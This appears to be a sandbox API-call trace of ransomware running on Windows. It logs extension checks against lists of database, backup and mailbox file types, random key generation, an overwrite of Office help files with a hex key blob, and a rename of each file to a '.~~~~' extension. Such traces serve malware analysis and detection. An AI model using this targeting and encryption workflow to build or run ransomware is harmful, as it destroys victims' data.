	[0135.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0135.350] lstrlenW (lpString=".sqb") returned 4
	[0135.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0135.350] lstrlenW (lpString=".ost") returned 4
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0135.351] lstrlenW (lpString=".txt") returned 4
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0135.351] lstrlenW (lpString=".mdt") returned 4
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0135.351] lstrlenW (lpString=".BDB") returned 4
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0135.351] lstrlenW (lpString=".eql") returned 4
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0135.351] lstrlenW (lpString=".DBF") returned 4
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0135.351] lstrlenW (lpString=".EQL") returned 4
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0135.351] lstrlenW (lpString=".FDB") returned 4
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0135.351] lstrlenW (lpString=".EDB") returned 4
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0135.351] lstrlenW (lpString=".DACPAC") returned 7
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0135.351] lstrlenW (lpString=".VHD") returned 4
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0135.351] lstrlenW (lpString=".DBV") returned 4
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0135.351] lstrlenW (lpString=".dacpac") returned 7
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0135.351] lstrlenW (lpString=".sdf") returned 4
	[0135.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0135.352] lstrlenW (lpString=".accdb") returned 6
	[0135.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0135.352] lstrlenW (lpString=".DBX") returned 4
	[0135.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0135.352] lstrlenW (lpString=".MDT") returned 4
	[0135.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0135.352] lstrlenW (lpString=".SQB") returned 4
	[0135.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0135.352] lstrlenW (lpString=".vhd") returned 4
	[0135.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0135.352] lstrlenW (lpString=".bac") returned 4
	[0135.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0135.352] lstrlenW (lpString=".mdf") returned 4
	[0135.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0135.352] lstrlenW (lpString=".BAK") returned 4
	[0135.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0135.352] lstrlenW (lpString=".BAC") returned 4
	[0135.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0135.352] lstrlenW (lpString=".dbs") returned 4
	[0135.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0135.352] lstrlenW (lpString=".vhdx") returned 5
	[0135.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0135.352] lstrlenW (lpString=".NDF") returned 4
	[0135.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0135.353] lstrlenW (lpString=".dat") returned 4
	[0135.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0135.353] lstrlenW (lpString=".DBS") returned 4
	[0135.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0135.353] lstrlenW (lpString=".CKP") returned 4
	[0135.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0135.353] lstrlenW (lpString=".edb") returned 4
	[0135.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0135.353] lstrlenW (lpString=".PST") returned 4
	[0135.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0135.353] lstrlenW (lpString=".dbf") returned 4
	[0135.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0135.353] lstrlenW (lpString=".SQL") returned 4
	[0135.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0135.353] lstrlenW (lpString=".pst") returned 4
	[0135.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0135.353] lstrlenW (lpString=".dbv") returned 4
	[0135.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0135.353] lstrlenW (lpString=".SDF") returned 4
	[0135.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0135.353] lstrlenW (lpString=".dtxs") returned 5
	[0135.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0135.353] lstrlenW (lpString=".db3") returned 4
	[0135.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0135.354] lstrlenW (lpString=".OST") returned 4
	[0135.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0135.354] lstrlenW (lpString=".dbx") returned 4
	[0135.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0135.354] lstrlenW (lpString=".DB3") returned 4
	[0135.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0135.438] lstrlenW (lpString=".DAT") returned 4
	[0135.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0135.438] lstrlenW (lpString=".VHDX") returned 5
	[0135.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0135.438] lstrlenW (lpString=".ndf") returned 4
	[0135.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0135.439] lstrlenW (lpString=".DB") returned 3
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0135.439] lstrlenW (lpString=".sql") returned 4
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0135.439] lstrlenW (lpString=".MYD") returned 4
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0135.439] lstrlenW (lpString=".DBT") returned 4
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0135.439] lstrlenW (lpString=".ACCDB") returned 6
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0135.439] lstrlenW (lpString=".fdb") returned 4
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0135.439] lstrlenW (lpString=".bak") returned 4
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0135.439] lstrlenW (lpString=".myd") returned 4
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0135.439] lstrlenW (lpString=".DTXS") returned 5
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0135.439] lstrlenW (lpString=".ckp") returned 4
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0135.439] lstrlenW (lpString=".dbt") returned 4
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0135.439] lstrlenW (lpString=".db") returned 3
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".db") returned 0x0
	[0135.439] lstrlenW (lpString=".TXT") returned 4
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0135.439] lstrlenW (lpString=".MDF") returned 4
	[0135.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0135.440] lstrlenW (lpString=".bdb") returned 4
	[0135.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0135.440] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0135.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.440] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0fb0) returned 1
	[0135.441] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.441] CryptReleaseContext (hProv=0x3a0fb0, dwFlags=0x0) returned 1
	[0135.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0135.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0135.441] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25543127908) returned 1
	[0135.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xba2bc230, dwHighDateTime=0x1d60e1e)) 
	[0135.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0135.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0135.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0135.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28251d0
	[0135.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28251d0 | out: hHeap=0x300000) returned 1
	[0135.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5540
	[0135.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.442] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0135.442] GetLastError () returned 0x0
	[0135.442] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0135.442] GetLastError () returned 0x0
	[0135.444] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.444] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0135.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0135.444] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.444] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.444] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.444] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.444] CloseHandle (hObject=0x114) returned 1
	[0135.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8268
	[0135.554] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.~~~~")) returned 1
	[0135.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8268 | out: hHeap=0x300000) returned 1
	[0135.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0135.557] GetLastError () returned 0x0
	[0135.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".scr") returned 0x0
	[0135.558] lstrlenW (lpString=".cmd") returned 4
	[0135.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".cmd") returned 0x0
	[0135.558] lstrlenW (lpString=".dll") returned 4
	[0135.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".dll") returned 0x0
	[0135.558] lstrlenW (lpString=".bat") returned 4
	[0135.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".bat") returned 0x0
	[0135.558] lstrlenW (lpString=".cpl") returned 4
	[0135.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".cpl") returned 0x0
	[0135.558] lstrlenW (lpString=".sys") returned 4
	[0135.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".sys") returned 0x0
	[0135.558] lstrlenW (lpString=".msc") returned 4
	[0135.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".msc") returned 0x0
	[0135.558] lstrlenW (lpString=".com") returned 4
	[0135.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".com") returned 0x0
	[0135.558] lstrlenW (lpString=".lnk") returned 4
	[0135.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".lnk") returned 0x0
	[0135.558] lstrlenW (lpString=".msp") returned 4
	[0135.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".msp") returned 0x0
	[0135.558] lstrlenW (lpString=".pif") returned 4
	[0135.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".pif") returned 0x0
	[0135.558] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0135.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0135.561] lstrlenW (lpString=".sqb") returned 4
	[0135.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".sqb") returned 0x0
	[0135.561] lstrlenW (lpString=".ost") returned 4
	[0135.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".ost") returned 0x0
	[0135.561] lstrlenW (lpString=".txt") returned 4
	[0135.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".txt") returned 0x0
	[0135.561] lstrlenW (lpString=".mdt") returned 4
	[0135.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".mdt") returned 0x0
	[0135.561] lstrlenW (lpString=".BDB") returned 4
	[0135.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".BDB") returned 0x0
	[0135.561] lstrlenW (lpString=".eql") returned 4
	[0135.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".eql") returned 0x0
	[0135.561] lstrlenW (lpString=".DBF") returned 4
	[0135.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".DBF") returned 0x0
	[0135.561] lstrlenW (lpString=".EQL") returned 4
	[0135.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".EQL") returned 0x0
	[0135.561] lstrlenW (lpString=".FDB") returned 4
	[0135.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".FDB") returned 0x0
	[0135.561] lstrlenW (lpString=".EDB") returned 4
	[0135.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".EDB") returned 0x0
	[0135.562] lstrlenW (lpString=".DACPAC") returned 7
	[0135.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".DACPAC") returned 0x0
	[0135.562] lstrlenW (lpString=".VHD") returned 4
	[0135.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".VHD") returned 0x0
	[0135.562] lstrlenW (lpString=".DBV") returned 4
	[0135.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".DBV") returned 0x0
	[0135.562] lstrlenW (lpString=".dacpac") returned 7
	[0135.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".dacpac") returned 0x0
	[0135.562] lstrlenW (lpString=".sdf") returned 4
	[0135.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".sdf") returned 0x0
	[0135.562] lstrlenW (lpString=".accdb") returned 6
	[0135.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".accdb") returned 0x0
	[0135.562] lstrlenW (lpString=".DBX") returned 4
	[0135.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".DBX") returned 0x0
	[0135.562] lstrlenW (lpString=".MDT") returned 4
	[0135.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".MDT") returned 0x0
	[0135.562] lstrlenW (lpString=".SQB") returned 4
	[0135.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".SQB") returned 0x0
	[0135.562] lstrlenW (lpString=".vhd") returned 4
	[0135.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".vhd") returned 0x0
	[0135.563] lstrlenW (lpString=".bac") returned 4
	[0135.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".bac") returned 0x0
	[0135.563] lstrlenW (lpString=".mdf") returned 4
	[0135.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".mdf") returned 0x0
	[0135.563] lstrlenW (lpString=".BAK") returned 4
	[0135.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".BAK") returned 0x0
	[0135.563] lstrlenW (lpString=".BAC") returned 4
	[0135.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".BAC") returned 0x0
	[0135.563] lstrlenW (lpString=".dbs") returned 4
	[0135.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".dbs") returned 0x0
	[0135.563] lstrlenW (lpString=".vhdx") returned 5
	[0135.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".vhdx") returned 0x0
	[0135.563] lstrlenW (lpString=".NDF") returned 4
	[0135.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".NDF") returned 0x0
	[0135.563] lstrlenW (lpString=".dat") returned 4
	[0135.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS", lpSrch=".dat") returned 0x0
	[0135.563] lstrlenW (lpString=".DBS") returned 4
